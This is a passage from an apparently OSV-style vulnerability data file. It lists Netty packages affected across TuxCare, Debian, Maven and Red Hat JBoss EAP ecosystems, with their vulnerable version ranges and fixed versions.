:"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.108.Final"},{"fixed":"4.1.108.Final-tuxcare.1"}]}],"versions":["4.1.108.Final"],"bundled":59},{"source":"osv","ecosystem":"Debian:12","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16","1:4.1.48-7","1:4.1.48-7+deb12u1","1:4.1.48-7+deb12u2","1:4.1.48-8","1:4.1.48-9"]},{"source":"osv","ecosystem":"Debian:13","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10+deb13u1","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Debian:14","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.13.Final"}]}],"versions":["4.2.0.Alpha1","4.2.0.Alpha2","4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133.Final"}]}],"versions":["4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}],"versions":["4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.132.Final"},{"fixed":"4.1.132.Final-rhlw-00002"}]}],"versions":["4.1.132.Final"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final-rhlw-00001"}]}],"versions":["4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"bundled":2},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-eap-product-conf-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.7.1-1.GA_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-eap-product-conf-wildfly-ee-feature-pack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.7.1-1.GA_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-java-jdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el10","package":"eap8-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el10eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-eap-product-conf-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.7.1-1.GA_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-eap-product-conf-wildfly-ee-feature-pack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.7.1-1.GA_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jose4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.9.6-2.redhat_00002.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-java-jdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el8eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-eap-product-conf-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.7.1-1.GA_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-eap-product-conf-wildfly-ee-feature-pack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.7.1-1.GA_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jose4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.9.6-2.redhat_00002.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red 